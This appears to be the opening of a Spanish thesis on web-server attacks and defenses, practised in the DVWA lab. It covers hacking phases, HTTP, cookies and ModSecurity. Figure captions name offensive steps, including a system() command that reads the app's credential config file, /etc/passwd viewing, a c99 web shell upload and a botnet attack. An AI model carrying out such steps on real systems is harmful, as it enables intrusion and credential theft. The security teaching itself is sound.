DVWA
DVWA
DVWA
Y SISTEMAS DE TELECOMUNICACIÓN
DEPARTAMENTO: DIATEL
VºBº
Calificación:
El Secretario,
2
Resumen
Resumen
Actualmente internet es una fuente de información y recursos ilimitada, pero también cuenta
con una inmensa cantidad de vulnerabilidades. Existen miles de empresas que ofrecen sus
servicios a través de Internet y, con el auge de las redes sociales, millones de usuarios
intercambian información en tiempo real. Las comunicaciones siempre han sido objeto de
ataques y en la era digital donde internet es el principal medio de comunicación no iba ser de
otra forma. Los datos privados y confidenciales son de vital importancia y hay que tener especial
cuidado en su seguridad, ya que éstos son el objetivo prioritario para los hackers. Para proteger
la información y que no caiga en manos ajenas es preciso adoptar una serie de medidas de
seguridad. Al referirse a la seguridad en el ámbito de la informática, se hace referencia al área
encargada de la protección de la infraestructura computacional y todo lo relacionado con ésta
(incluyendo la información contenida).
Este proyecto tiene como objetivo general el estudio de los principales ataques a servidores web,
según se recoge en los informes de las grandes marcas de antivirus y malware, tales como Panda
y Symantec, y en OWASP (Open Web Application Security Project). Para entrar en contexto,
inicialmente se presentan algunos conceptos básicos y terminología, tal como el concepto de
hacker, los tipos de hacker y las fases del hacking. También se introducen términos que se usarán
posteriormente al describir los ataques en profundidad, como las cookies, el funcionamiento del
protocolo HTTP o el firewall de aplicaciones Web denominado ModSecurity. A continuación, se
analizan con detalle los siguientes ataques: Inyección SQL, XSS (Cross Site Scripting), CSRF (Cross
Site Request Forgery), DDoS (Distributed Denial of Service), LFI (Local File Inclusion) y RFI (Remote
File Inclusion), explicando en qué consisten y las variantes más comunes de los mismos, así como
las pautas, recomendaciones y consejos para evitar cualquiera de ellos.
Con el objetivo de facilitar la comprensión de los distintos ataques, se ha llevado a cabo una
parte práctica en la que se puede apreciar de manera más ilustrativa cada uno de los mismos.
Esta parte práctica se desarrolla en un entorno denominado DVWA, controlado y específico para
ensayos de seguridad web, que es comúnmente usado por expertos en pentesting. En DVWA, a
través de sus diferentes niveles de seguridad se comprueba cómo un código mal estructurado y
sin la suficiente validación de los datos de entrada de los usuarios puede poner en riesgo no sólo
el propio sitio web sino todo el sistema en que está alojado.
Por otro lado, en este trabajo también se describen las medidas de seguridad de ámbito general
como son la autenticación, el control de acceso y el control perimetral, las cuales son
imprescindibles en cualquier organización si se quiere disponer de un grado adecuado de
seguridad.
3
Abstract
Currently internet is an unlimited source of information and resources, but it also has a huge
number of vulnerabilities. There are thousands of companies offering their services via the
Internet and with the rise of social networks, millions of users exchange information in real time.
Communications have always been under attack and in the digital age where the Internet is the
primary means of communication would not be otherwise. Private and confidential data are
vitally important and we must take special care to secure it as they are the prime target for
hackers. To prevent the information from falling into the wrong hands it is necessary to adopt a
number of security measures. Referring to security in the field of information technology,
reference is given to the area responsible for the protection of computer infrastructure and
everything related to it (including information).
The general objective of the project is the study of the major attacks on web servers, as reflected
in the reports of the major brands of antivirus and malware, such as Panda and Symantec, and
OWASP (Open Web Application Security Project). To put this into context, initially some basic
terminology and concepts are presented, such as the concept of hacker, hacker types and stages
of hacking. Some terms are also introduced to describe the attacks in depth, such as cookies,
operation of the HTTP protocol or Web application firewall called ModSecurity. Then the following
attacks are discussed in detail: SQL Injection, XSS (Cross Site Scripting), CSRF (Cross Site Request
Forgery), DDoS (Distributed Denial of Service), LFI (Local File Inclusion) and RFI (Remote File
Inclusion), explaining what they are and the most common of their variants, as well as guidelines,
recommendations and advices to avoid any of them.
In order to facilitate the understanding of the various attacks, a practical part has been carried
out to provide and illustratively explanation of how each attack works. This practical part takes
place in an environment called DVWA, controlled and specific to secure testing web, which is
commonly used by experts in pentesting. In DVWA, through its different levels of security, it is
possible to check how a poorly structured code and with an inadequate validation of users input
data can jeopardize not only the website itself but the entire system in which it is hosted.
On the other hand, this work also includes the security measures of general scope such as
authentication, access control and perimeter control which are essential in any organization to
have an appropriate level of security.
Finally, after the collection of information, analysis of the various attacks and conducted case
studies related conclusions and recommendations are presented.
4
INDICE
INDICE
Resumen .............................................................................................................................................. 3
Abstract ............................................................................................................................................... 4
INDICE .................................................................................................................................................. 1
Índice de figuras .................................................................................................................................. 7
Acrónimos............................................................................................................................................ 9
1 Introducción .............................................................................................................................. 11
2 Equipamiento informático y entorno empleado ....................................................................... 13
3 Introducción al hacking ............................................................................................................. 19
3.1 ¿Qué significa el término “Hacker”? ................................................................................. 19
3.2 Fases del hacking ............................................................................................................... 20
3.2.1 Reconocimiento ......................................................................................................... 21
3.2.2 Escaneo ...................................................................................................................... 21
3.2.3 Obtener acceso .......................................................................................................... 22
3.2.4 Mantener el acceso ................................................................................................... 22
3.2.5 Limpiar rastros ........................................................................................................... 22
4 Ataques ...................................................................................................................................... 23
4.1 Inyecciones SQL ................................................................................................................. 28
4.1.1 Introducción .............................................................................................................. 28
4.1.2 Defensa frente a inyecciones SQL ............................................................................. 33
4.1.3 Parte práctica inyección SQL ..................................................................................... 44
4.2 XSS (Cross-Site Scripting) ................................................................................................... 50
4.2.1 Introducción .............................................................................................................. 50
4.2.2 Defensa frente ataques XSS....................................................................................... 53
4.2.3 Parte práctica XSS ...................................................................................................... 62
4.3 CSRF (Cross-site request forgery) ...................................................................................... 66
4.3.1 Introducción .............................................................................................................. 67
4.3.2 Defensa frente ataques CSRF .................................................................................... 68
4.3.3 Parte práctica CSRF.................................................................................................... 73
4.4 Ataques DDOS ................................................................................................................... 74
4.4.1 Metodología .............................................................................................................. 75
4.4.2 Tipos de ataques DDOS ............................................................................................. 76
4.4.3 Defensa frente ataques DDOS ................................................................................... 79
5
4.4.4 Parte práctica DDOS .................................................................................................. 89
4.5 LFI Y RFI .............................................................................................................................. 92
4.5.1 Introducción .............................................................................................................. 92
4.5.2 Defensa frente ataques LFI y RFI ............................................................................... 95
4.5.3 Parte práctica LFI / RFI ............................................................................................... 97
4.6 Medidas se seguridad generales ..................................................................................... 102
4.6.1 Identificación y autentificación ............................................................................... 102
4.6.2 Control acceso ......................................................................................................... 106
4.6.3 Acceso remoto ......................................................................................................... 111
4.6.4 Control perimetral ................................................................................................... 113
5 Conclusiones ............................................................................................................................ 117
6 Referencias .............................................................................................................................. 119
7 Bibliografía............................................................................................................................... 121
6
Índice de figuras
Índice de figuras
Figura 1: Evolución de los Incidentes gestionados por el CCN-CERT ................... ¡Error! Marcador no definido.
Figura 2: Listado de tipo de aplicaciones de Kali Linux ........................................ ¡Error! Marcador no definido.
Figura 3: Página inicial de DVWA ...................................................................................................................... 15
Figura 4: Listado del TOP 10 según OWASP……...……………………………………………………………………………………………15
Figura 5: Vulnerabilidad SQL Inyection ............................................................................................................. 16
Figura 6: Código fuente vulnerable nivel “low” ................................................................................................ 17
Figura 7: Código fuente vulnerable nivel “médium” ........................................................................................ 17
Figura 8: Tipos de hackers ................................................................................................................................ 20
Figura 9: Fases del hacking ............................................................................................................................... 21
Figura 10: Petición/respuesta en HTTP ............................................................................................................. 23
Figura 11: Formulario realizado con método GET ............................................................................................ 24
Figura 12: URL producida por el envoi del formulario mediante GET .............................................................. 24
Figura 13: Formulario realizado con método POST .......................................................................................... 25
Figura 14: URL producida por el envoi del formulario mediante POST ............................................................ 25
Figura 15: Estructura cliente-servidor-bases de datos ..................................................................................... 29
Figura 16: Cláusulas lenguaje SQL..................................................................................................................... 29
Figura 17: Tabla empleados .............................................................................................................................. 29
Figura 18: Empleados cuyo número de proyecto es el 4 .................................................................................. 30
Figura 19: Resultado de la consulta realizada sobre la tabla empleados ......................................................... 30
Figura 20: Estructura clausula UNION .............................................................................................................. 31
Figura 21: Tabla departamentos ....................................................................................................................... 31
Figura 22: Tabla clientes ................................................................................................................................... 31
Figura 23: Resultado de la unión de la tabla clientes y departamento ............................................................ 32
Figura 24: Tabla que muestra el contenido de INFORMATION_SCHEMA ........................................................ 32
Figura 25: Error SQL .......................................................................................................................................... 35
Figura 26: Desactivación de la directiva magic_quotes_gpc en el archivo php.ini ........................................... 37
Figura 27: Comandos SQL que deben bloquearse ............................................................................................ 38
Figura 28: Error SQL .......................................................................................................................................... 44
Figura 29: Inyección con Order by .................................................................................................................... 44
Figura 30: Error al ordenar por la columna 3 .................................................................................................... 45
Figura 31: Inyección para obtener versión y nombre de la base de datos ....................................................... 45
Figura 32: Inyección para obtener el nombre de las tablas .............................................................................. 46
Figura 33: Inyección para obtener las columnas de la tabla users ................................................................... 46
Figura 34: Inyección mediante sqlmap para obtener las tablas de dvwa ......................................................... 47
Figura 35: Resultado de la Inyección mediante sqlmap para obtener las tablas de dvwa ............................... 48
Figura 36: Inyección mediante sqlmap para obtener las columnas de la tabla users ...................................... 48
Figura 37: Resultado de la inyección mediante sqlmap para obtener las columnas de la tabla users ............. 49
Figura 38: Inyección mediante sqlmap para obtener usuario y password de los usuarios .............................. 49
Figura 39: Resultado Inyección mediante sqlmap para obtener usuario y password de los usuarios ............. 50
Figura 40: Ejemplo de script ............................................................................................................................. 52
Figura 41: Ejemplo de iframe ............................................................................................................................ 52
Figura 42: Caracteres válidos y no validos ........................................................................................................ 53
Figura 43: Caracteres que deben ser codificados ............................................................................................. 55
Figura 44: flag HttpOnly .................................................................................................................................... 60
Figura 45: Relación identificador sesión cookie con el lenguaje de programación .......................................... 60
Figura 46: Relación de script y expresiones regulares ...................................................................................... 62
Figura 47: Introducción de un script con la función alert()............................................................................... 63
Figura 48: Resultado de la función alert() ......................................................................................................... 63
Figura 49: Introducción de un iframe en la página web ................................................................................... 64
7
Figura 50: Resultado de la inclusión de un iframe en la página Web victima .................................................. 64
Figura 51: Código para redireccionar a otra página web .................................................................................. 65
Figura 52: Resultado de la redirección producida por el código anterior ........................................................ 65
Figura 53: Código para capturar la cookie ........................................................................................................ 66
Figura 54: Resultado que nos muestra la cookie capturada ............................................................................. 66
Figura 55: Proceso ataque CSRF ....................................................................................................................... 67
Figura 56: Ciclo de vida de un token ................................................................................................................. 70
Figura 57: Cambio de contraseña ..................................................................................................................... 73
Figura 58: URL resultante del cambio de contraseña ....................................................................................... 74
Figura 59: Comando para automatizar el cambio de contraseña ..................................................................... 74
Figura 60: Resultado de la ejecución del comando anterior ............................................................................ 74
Figura 61: Ejemplificación ataque DDOS .......................................................................................................... 75
Figura 62: Red de botnets ................................................................................................................................. 76
Figura 63: Tipos de ataques DDOS según la vulnerabilidad explotada ............................................................. 77
Figura 64: Búsqueda de páginas web vulnerables mediante UFONET ............................................................. 90
Figura 65: Segundo intento de búsqueda de zombis........................................................................................ 91
Figura 66: Resultado final de la búsqueda de zombis....................................................................................... 91
Figura 67: Ataque a Google con nuestra red de botnet ................................................................................... 92
Figura 68: Regla determiner si la URL contiene una direccion IP ..................................................................... 96
Figura 69: Regla detención función include() ................................................................................................... 96
Figura 70: Regla detector URLs con signos de interrogación ............................................................................ 97
Figura 71: Visualización del fichero etc/passwd de la página web victima ...................................................... 98
Figura 72: Visualización del fichero etc/group de la página web victima ......................................................... 98
Figura 73: Subida de la shell c99 a la página web victima ................................................................................ 99
Figura 74: Directorio donde se ha subido la shell c99 ...................................................................................... 99
Figura 75: Pantalla principal de la shell c99 ...................................................................................................... 99
Figura 76: Ejecución del comando system("cat /var/www/html/dvwa/config/config.inc.php"); .................. 100
Figura 77: Resultado del comando system("cat /var/www/html/dvwa/config/config.inc.php"); ................. 100
Figura 78: Pantalla de entrada de datos ......................................................................................................... 101
Figura 79: Creación de un usuario nuevo ....................................................................................................... 101
Figura 80: Resultado de la creación de un nuevo usuario .............................................................................. 102
Figura 81: Esquema de funcionamiento de autenticación mediante contraseña .......................................... 103
Figura 82: Entrada de PIN mediante el ratón para evitar posibles keyloggers ............................................... 104
Figura 83: Ejemplo de certificado ................................................................................................................... 105
Figura 84: Token RSA ...................................................................................................................................... 106
Figura 85: Fases de desarrollo de un sistema de control de acceso ............................................................... 107
Figura 86: Proceso control acceso .................................................................................................................. 107
Figura 87: Ejemplo de matriz de acceso ......................................................................................................... 108
Figura 88: Ejemplo lista de control de acceso ................................................................................................ 109
Figura 89: Permisos en Linux .......................................................................................................................... 109
Figura 90: Permisos sin aplicar ACLs ............................................................................................................... 110
Figura 91: Permisos una vez aplicada la ACL .................................................................................................. 110
Figura 92: Ejemplo lista de capacidades ......................................................................................................... 111
Figura 93: Escenario acceso remoto con VPN................................................................................................. 112
Figura 94: Localización de un IDS dentro de una organización ...................................................................... 115
Figura 95: Localización de un IPS .................................................................................................................... 116
8
Acrónimos
Acrónimos
o IP (internet protocol)
o XSS(Cross-Site Scripting)
9
o DNS(Domain Name System )
o AH (Authentication Header)
10
Introducción
1 Introducción
Existen miles de empresas que ofrecen sus servicios a través de Internet y, con el auge de las redes
sociales, millones de usuarios intercambian información en tiempo real. Las comunicaciones
siempre han sido objeto de ataques y en la era digital donde internet es el principal medio de
comunicación no iba ser de otra forma. Los datos privados y confidenciales son de vital
importancia y hay que tener especial cuidado en su seguridad, ya que éstos son el objetivo
prioritario para los hackers. Para proteger la información y que no caiga en manos ajenas se
adoptan una serie de medidas de seguridad. Al referirse a la seguridad en el ámbito de la
informática, se hace referencia al área encargada de la protección de la infraestructura
computacional y todo lo relacionado con ésta (incluyendo la información contenida). Para ello
existen una serie de estándares, protocolos, métodos, reglas, herramientas y leyes concebidas
para minimizar los posibles riesgos a la infraestructura o a la información. La seguridad informática
comprende software, bases de datos, metadatos, archivos y toda información que suponga un
riesgo si llega a manos de otras personas.
Para luchar contra estas amenazas existen diferentes organismos a nivel mundial que intentan
reducir el número de las mismas a través de diferentes medidas. En España uno de los principales
organismos es el CCN-CERT (Equipo de Respuesta a incidentes de Seguridad de la Información del
Centro Criptológico Nacional), el cual gestionó durante 2015 un total de 18.232 incidentes
detectados en las Administraciones Públicas y en empresas de interés estratégico. Esta cifra
representa un incremento del 41,45% con respecto al año 2014[1].
Por tanto es imprescindible tener conciencia de que la amenaza es real y debemos saber cómo
poder enfrentarnos a ella, y así prevenir los ataques y poner medidas para evitar el acceso a
información por parte de personas no autorizadas.
El objetivo del proyecto es realizar un estudio de estos ataques y dar a conocer cómo se pueden
mitigar. Para la total comprensión de estos ataques se empleará la aplicación DVWA (Damn
11
Vulnerable Web App) en la que se simularán estos ataques de una manera práctica y más visual,
tal como lo realizaría un atacante en una página web de internet.
Se comenzará haciendo una introducción sobre el hacking, donde se hablará de las distintas fases
que lo componen y los distintos tipos de hackers.
Tras esta introducción, se irán explicando en profundidad cada uno de los ataques y planteando
soluciones y consejos para prevenirlos o mitigarlos. Una vez realizado esto de manera teórica, se
llevarán a cabo ejemplos prácticos de cada uno de estos ataques, usando para ello DVWA.
Para complementar las medidas de seguridad definidas en los ataques, se expondrán medidas de
seguridad de ámbito general que cualquier organización debe de adoptar. Por último se
comentaran las conclusiones a las que se ha llegado.
Capítulo 4. Ataques. Se describe en qué consisten cada uno de los ataques, se explican las
distintas soluciones para prevenirlos y mitigarlos y se realiza una parte práctica para
afianzar los conceptos aprendidos y comprender mejor el ataque. Previamente a analizar
los ataques en cuestión, se introducirán algunos conceptos importantes que son
necesarios para su completa comprensión. Una vez explicados los ataques se concluirá el
capítulo con medidas generales de seguridad que toda organización debería cumplir.
Capítulo 5. Conclusiones. Resumen del estudio llevado a cabo en cada tipo de ataque y de
las medidas más efectivas para prevenirlos.
12
Equipamiento informático y entorno empleado
- Un equipo con sistema operativo Windows 8 con acceso a internet para la búsqueda de
información y la redacción del proyecto.
- Un equipo con sistema operativo Linux, más concretamente la distribución KaliLinux, así
como la aplicación vulnerable DVWA para la realización práctica. Tanto Kali Linux como
DVWA se detallan a continuación.
Kali Linux
Kali Linux es un proyecto de código abierto que se mantiene y financia por Offensive Security, un
proveedor de formación en seguridad y servicios de pruebas de penetración de clase mundial.
Kali Linux es una distribución de Linux avanzada para pruebas de penetración y auditorías de
seguridad. Es una distribución basada en Debian y es el sucesor de la antigua distribución
BackTrack de Linux.
Como se puede apreciar en la Figura 2 cuenta con una gran cantidad de herramientas dedicadas
al pentesting y a la seguridad en general. A diferencia de su antecesor Backtrack que estaba
basado en Ubuntu, Kali al estar basado Debian cambia la forma de navegar por las carpetas, lo
que facilita la ejecución de las herramientas, ya que no hay que buscar por las subcarpetas, sino
13
que se pueden ejecutar directamente desde cualquier ruta. Se ha ampliado el repertorio de
herramientas y además se han incorporado algunas nuevas funcionalidades y se han mitigado
algunos errores encontrados en versiones anteriores. Así mismo, el sistema de archivos facilita la
actualización de las herramientas a su última versión de una manera más cómoda y rápida.
DVWA
En el equipo utilizado para pruebas, se ha llevado a cabo la instalación de un servidor para poder
disponer de una página web de pruebas y así simular los distintos ataques.
La aplicación utilizada en el servidor para realizar las pruebas ha sido DVWA (Damn Vulnerable
Web App), la cual, es una aplicación web vulnerable que está desarrollada en PHP (Hypertext Pre-
processor) y MySQL. Sus principales objetivos son servir de ayuda a los profesionales de la
seguridad para poner a prueba sus habilidades y herramientas en un entorno controlado y legal.
No obstante, DVWA se puede utilizar en distintas situaciones y de distintas maneras. Se puede
utilizar para enseñar la seguridad de aplicaciones web mediante ejemplos prácticos y establecer
retos para los estudiantes o como simple ayudas de aprendizaje. DVWA está diseñado para ser lo
más fácil posible de configurar y utilizar, y hay información suficiente en internet para ayudar a
los principiantes a empezar a usar esta aplicación
“Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its
main goals are to be an aid for security professionals to test their skills and tools in a legal
environment, help web developers better understand the processes of securing web applications
and aid teachers/students to teach/learn web application security in a class room
environment.”[2]
En cada página se muestra una vulnerabilidad y se muestran enlaces externos a recursos que
contienen información al respecto de la vulnerabilidad. Estos ataques se pueden observar en la
Figura 3, en donde podemos ver la página inicial de DVWA.
14
Equipamiento informático y entorno empleado
Brute force: Utilizado para probar herramientas que averiguan contraseñas mediante la
fuerza bruta y mostrar la inseguridad de contraseñas débiles.
File Upload: Permite que un atacante pueda subir archivos maliciosos al servidor web.
Cross Site Scripting (XSS): Un atacante puede inyectar sus propias secuencias de
comandos en la aplicación web / base de datos. DVWA incluye XSS reflejados y XSS
almacenados.
Existen tres niveles de seguridad. Cada nivel cambia el estado de las vulnerabilidades de toda
la aplicación DVWA. Por defecto, cuando se carga DVWA el nivel de seguridad se establece en
alto.
Alto: Este nivel es para dar un ejemplo al usuario de las buenas prácticas de codificación.
Este nivel debería estar protegido contra todas las vulnerabilidades.
15
Medio: Este nivel de seguridad es principalmente para dar un ejemplo al usuario de las
malas prácticas de seguridad, en el que el desarrollador ha intentado securizar la
aplicación, pero no logró su objetivo completamente. También actúa como un desafío de
cara que a los usuarios puedan perfeccionar sus técnicas de explotación.
Según el nivel de dificultad elegido en el ataque concreto que se va realizar, cambia el nivel de
vulnerabilidad de DVWA. Cada página, como se ha comentado anteriormente, muestra una
vulnerabilidad, y dentro de cada página se muestra un botón con el texto “View Source”. Este
botón se encuentra en la parte inferior y permite visualizar el código de la página que estamos
atacando.
DVWA se puede emplear como una referencia a la hora de realizar una codificación segura. Si un
desarrollador no está muy seguro de si se han protegido contra SQL Inyection por ejemplo, se
puede ver el código fuente DVWA como referencia. Después de todo el código fuente DVWA ha
sido revisado por los miles de profesionales de la seguridad y estudiantes. En la Figura 6 se puede
ver el código si se ha seleccionado un nivel de dificultad bajo y en la Figura 7 si intentamos atacar
con un nivel de dificultad medio.
16
Equipamiento informático y entorno empleado
En la Figura 7 se añade una línea más al código tal y como se señala en la propia figura, que
permite securizar la página y hacer más difícil el intento de intrusión por parte de un atacante. De
esta manera tanto estudiantes como profesionales pueden aprender de una forma fácil y lícita las
distintas formas de hacer más segura una aplicación web.
Hay que destacar que DVWA no emula vulnerabilidades de las aplicaciones web, las
vulnerabilidades dentro DVWA son reales y, por tanto, hay que tener cuidado en donde está
instalada. DVWA indica este peligro a sus usuarios al descargarla. Solamente se puede acceder a
DVWA desde la máquina local y no desde máquinas remotas, esto se hace mediante el
establecimiento de ciertas normas dentro de los archivos de configuración de la aplicación.
17
18
Introducción al hacking
3 Introducción al hacking
Un hacker es una persona que ilegalmente se introduce en un sistema o red para destruir, robar
información sensible o realizar ataques maliciosos. Los hackers pueden estar motivados por
multitud de razones, entre otras las siguientes:
- En muchas ocasiones es un hobby para ver cuántos ordenadores o redes son capaces de
comprometer.
Los hackers son personas que tienen un amplio conocimiento en diversas áreas. Aunque no son
expertos en todas las facetas de la tecnología, sí que tienen una buena base de los conceptos
fundamentales que les permitirán llevar a cabo sus objetivos, ya sean con una finalidad u otra.
Se puede hacer una clasificación general distinguiendo tres tipos de hackers según los objetivos
que tienen:
Black Hat Hackers: Suelen quebrantar la seguridad de un sistema o una red con fines
maliciosos.
White Hat Hackers: Normalmente son los hackers que penetran la seguridad de los
sistemas bajo autorización para encontrar vulnerabilidades. Suelen ser contratados por
empresas para mejorar la seguridad de sus propios sistemas.
Gray Hat Hackers: Son una mezcla entre los dos anteriores puesto que tienen una ética
ambigua. Normalmente su cometido es penetrar en sistemas de forma ilegal para luego
informar a la empresa víctima y ofrecer sus servicios para solucionarlo.
19
Figura 7: Tipos de hackers
Por otro lado, también es importante nombrar otros tres términos importantes, que aun no
siendo considerados tipos de hacker, comparten algunas similitudes con algunos de los
mencionados anteriormente:
Crackers: Los Crackers se podrían posicionar en el lado de los Black Hats. Típicamente
acceden a sistemas vulnerables y provocan algún tipo de daño, ya sea robando
información, instalando algún virus, malware o troyano en el sistema, de tal manera que
se crean puertas traseras para volver a entrar cuando sea necesario. Crackers también se
conoce a los que diseñan programas para romper la seguridad en Software, ampliar
funcionalidades del software o el hardware original. Esto lo consiguen en muchas
ocasiones con ingeniería inversa.
Script Kiddies: se le conoce a los Hackers que emplean programas escritos por otras
personas para penetrar en algún sistema, red de ordenadores, páginas web, etc. ya que
no disponen de conocimiento necesario para saber qué ocurre de forma interna en
términos de programación o redes.
En este apartado se van a comentar las fases del hacking. Las cinco fases que se pueden ver en la
Figura 9 cubren toda la amplitud de un ataque, ya sea desde el lado del hacking o del hacking
ético.
A continuación se procede a explicar más en detalle cada una de las cinco fases.
20
Introducción al hacking
3.2.1 Reconocimiento
Es probablemente la fase más difícil de entender, sobre todo porque muchas personas
confunden algunos de sus pasos como parte de la fase siguiente (escaneo y enumeración).
Ejemplos de acciones que podrían tener cabida en esta fase son la ingeniería social, dumpster
diving, y el espionaje en red.
3.2.2 Escaneo
En esta fase el atacante usa los detalles recopilados en la fase de reconocimiento. A partir de
esos datos, se emplean herramientas o técnicas para recopilar información de una manera más
profunda y detallada y así identificar vulnerabilidades específicas. De hecho, se puede considerar
una extensión del reconocimiento activo.
21
Mientras que con en el reconocimiento se puede saber que la red tiene 500 máquinas
conectadas a una sola subred dentro de un edificio, el escaneo y enumeración nos indicará cuáles
son las máquinas Windows y cuáles se ejecutan FTP( File Transfer Protocol).
Más concretamente se obtiene información crítica sobre la red, el número de máquinas activas,
puertos o el sistema operativo utilizado.
Una vez se ha conseguido entrar en el ordenador o en la red, se escalan privilegios para obtener
control total del sistema, es decir del ordenador en cuestión y de los que estén conectados a él.
De esta manera se puede obtener el tipo de arquitectura y configuración.
Estos ataques pueden ser tan simples como acceder a un punto de acceso inalámbrico abierto y
luego manipularlo para cualquier propósito o tan complejo como la inyección SQL (Structured
Query Language) en una aplicación web.
El atacante deja abiertas las puertas traseras para poder usarlo en un futuro, especialmente si el
sistema en cuestión se ha convertido en un zombi o si el sistema se utiliza para la recopilación de
más información.
Por ejemplo, un sniffer puede colocarse en una máquina comprometida para observar el tráfico
en una subred específica. El acceso se puede mantener mediante el uso de troyanos, rootkits, o
cualquier otro método.
Los pasos consisten en la eliminación o alteración de los archivos de registro e incluso el uso de
protocolos de tunelado para comunicarse con el sistema.
22
Ataques
4 Ataques
Este es el capítulo fundamental del proyecto. En este capítulo se van a tratar distintos ataques,
explicando detalladamente en qué consisten cada uno de ellos. Cuando se haya comprendido el
ataque, se indicarán pautas, recomendaciones y consejos para tratar de evitar sufrir cualquiera
de estas amenazas. Con el objetivo de comprender mejor en qué consisten, se llevará a cabo una
parte práctica en la que se puede apreciar de manera más ilustrativa cada uno de los mismos. Los
ataques a tratar son por este orden:
- Inyección SQL
Antes de comenzar con los ataques se van a introducir algunos conceptos que se usarán
posteriormente y que es importante conocerlos para entender el funcionamiento de los ataques
tratados.
Tanto GET como POST son métodos del protocolo HTTP el cual está compuesto por un envío al
servidor conocido como petición (request) y una respuesta a dicha solicitud (response).
Método GET
Figura 11: URL producida por el envío del formulario mediante GET
En esta URL de la Figura 12 podemos distinguir como el símbolo ‘?’ indica dónde empiezan los
parámetros que se reciben desde el formulario que ha enviado los datos a la página.
Las parejas dato1=valor1, dato2=valor2… son el nombre y el valor de los campos enviados por el
formulario.
Por ejemplo, haciendo referencia nuestra URL, nombre=Javier y email= Javier%40yahoo.es nos
indica que el campo del formulario que se denomina nombre llega con valor Javier mientras que
el campo del formulario que se denomina email llega con valor javier@yahoo.es. Hay que tener
24
Ataques
en cuenta que los caracteres especiales como es el caso de @ se traduce por su equivalente, en
este caso %40.
Hay que tener en cuenta que para separar la primera pareja se usa el símbolo ‘?’ y para las
restantes el símbolo ‘&’.
Método POST
Un formulario que emplease el método POST sería igual que el usado con el método GET,
excepto el campo method donde se sustituirá un valor por otro. En la figura 13 se puede observar
el formulario y en la Figura 14 la URL resultante del envío. Como se puede apreciar, en este caso
la URL no muestra información sobre los campos ni los valores del formulario.
Figura 13: URL producida por el envoi del formulario mediante POST
En muchos de los ejemplos no se ven GET O POST tal cual, sino que se usan $_POST o $_GET.
Esto es debido a que en PHP a las variables se les antecede con el carácter $
Cookies
Las cookies son pequeños archivos de texto que se ubican en los directorios del navegador. Los
desarrolladores de páginas web los utilizan para permitir a sus usuarios navegar con más facilidad
y desarrollar ciertas funciones. Las cookies resuelven un grave problema del protocolo HTTP: al
ser un protocolo de comunicación “sin estado”, no es capaz de mantener información persistente
entre diferentes peticiones.
25
Las cookies se crean cuando el navegador de un usuario carga una página concreta. Esta página
envía información al navegador, que crea entonces un archivo de texto. Cada vez que el usuario
regresa a la misma página, el navegador recupera este archivo y lo envía al servidor de la página.
La página web que el usuario está visitando no es la única que crea las cookies, sino que también
lo hacen otras webs que desarrollan anuncios, herramientas u otros elementos presentes en la
página que está siendo cargada. Esas cookies regulan cómo deben aparecer los anuncios o el
funcionamiento de las herramientas y otros elementos de la web.
Sesión
Por otro lado se va introducir el término sesión. Una sesión es el conjunto de accesos a nuestro
servidor web realizados desde un mismo navegador con tiempos entre acceso y acceso inferiores
a un límite máximo. Cuando el servidor web recibe el primer acceso a una página, crea un
identificador de sesión, y se lo entrega al cliente junto con la página, en forma de cookie. Cuando
el cliente envía una petición de acceso a otra página, incluye en la petición la cookie que recibió.
De este modo el servidor sabe que este acceso pertenece a la misma sesión que el anterior.
Teniendo los distintos accesos de una sesión identificados mediante un mismo identificador de
sesión (SID, Session IDentifier), el servidor puede guardar información asociada a la sesión, y
entregar un contenido u otro según las características de la sesión. Un ejemplo típico es la
validación de un usuario. Si el usuario envía el id de usuario y contraseña correctos en el
formulario de login, el servidor guarda en sesión un flag indicando este hecho, y a continuación le
permite el acceso a páginas que sólo deben ser accesibles por el usuario validado.
También cabe destacar que el nombre dado a la cookie en PHP siempre es PHPSESSID. Este
nombre se configura en el php.ini inicialmente por defecto y se podrá ver en la aparte práctica.
ModSecurity
ModSecurity es un firewall de aplicaciones Web (WAF) que se ejecuta como módulo del servidor
Web Apache y que permite la detección y prevención de intrusiones en aplicaciones Web. Este
dispositivo trata de proteger al servidor Web de los ataques dirigidos de los que los IDS/IPS no
nos pueden defender.
Cada uno de los ataques Web es posible porque existen distintas vulnerabilidades. Para prevenir
o mitigar estos ataques hay que aplicar una serie de medidas específicas que varían según el tipo
de ataque. ModSecurity pretende ser una medida adicional para reforzar la protección frente a
estas amenazas.
ModSecurity añade un nivel extra de seguridad antes del servidor Web, siendo complementario
al firewall de paquetes y detectores de intrusiones del sistema. Funciona como firewall de
26
Ataques
aplicación, filtrando tráfico al nivel de aplicaciones HTTP (Hypertext Transfer Protocol) y HTTPS
(Hypertext Transfer Protocol Secure).
Funciona de modo transparente para las aplicaciones web alojadas y ofrece protección temporal
ante vulnerabilidades recién descubiertas que aún no tengan parche de seguridad.
Funcionalidades
Filtrado de peticiones: las peticiones entrantes son analizadas antes de pasarlas al servidor
Apache. Además se comparan con un conjunto de reglas y se pueden usar expresiones
regulares para expresar las reglas.
Filtrado de las respuestas del servidor: puede analizar y modificar los mensajes de respuesta
del servidor, ya sean normales o erróneos.
Técnicas anti-evasión: los parámetros recibidos y paths de los ficheros son normalizados para
evitar técnicas de evasión.
Análisis de datos POST: análisis de los datos enviados 'dentro' de peticiones POST.
Aparte de estas funcionalidades genéricas, ModSecurity cuenta con un entorno chroot interno,
permitiendo aislar al servidor en un sistema de directorios falso para evitar el acceso a directorios
y ficheros sensibles como pudieran ser /etc, /usr/, /bin….También permite enmascarar los datos
identificativos del servidor como son el nombre o la versión para dificultar a los atacantes su
identificación.
Como se ha comentado, estaba inicialmente pensado para el servidor Apache, pero ha ido
evolucionando y se puede combinar con otros modulo como mod_proxy y mod_proxy_http
27
permitiendo proteger servidores que no son Apache y además permitiendo implantar una
configuración de proxy inverso.
Técnicas
Se puede configurar para que funcione según un modelo de seguridad negativo o positivo según
necesitemos:
Modelo de seguridad positivo: Cuando se ejecuta, sólo las solicitudes que se reconocen
como válidas son permitidas, todo lo demás se rechaza. Requiere un claro conocimiento
de las aplicaciones que se pretenden proteger. Mejor rendimiento, menos falsos
positivos pero más difícil de implementar ya que hay que dar permisos a todas las
aplicaciones de las que disponga el servidor.
Una vez presentados estos conceptos, se va a proceder a explicar los distintos ataques de forma
independiente así como las medidas necesarias para poder mitigarlos y un caso práctico de los
mismos.
4.1.1 Introducción
Las aplicaciones web, independientemente del lenguaje en que fueron escritas, comúnmente
